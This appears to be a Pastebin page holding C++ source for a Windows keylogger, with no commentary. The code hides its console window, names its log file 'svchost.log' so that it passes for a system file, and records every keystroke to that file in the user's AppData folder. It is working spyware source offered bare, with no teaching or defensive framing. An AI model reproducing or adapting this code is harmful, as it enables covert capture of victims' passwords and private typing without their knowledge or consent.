Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <windows.h>
- #include <fstream>
- using namespace std;
- void Stealth();
- void writeToLog();
- ofstream logFileWriter;
- int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
- {
- Stealth();
- string logFilePath = getenv("APPDATA");
- logFilePath.append("\\svchost.log");
- logFileWriter.open(logFilePath, ios::out | ios::app);
- while(true)
- {
- for(int i = 1; i < 126; i++)
- if(GetAsyncKeyState(i) & 0x0001)
- {
- logFileWriter << (char)i;
- logFileWriter.flush();
- }
- }
- logFileWriter.close();
- return 0;
- }
- void Stealth()
- {
- FreeConsole();
- HWND Stealth;
- AllocConsole();
- Stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(Stealth,0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement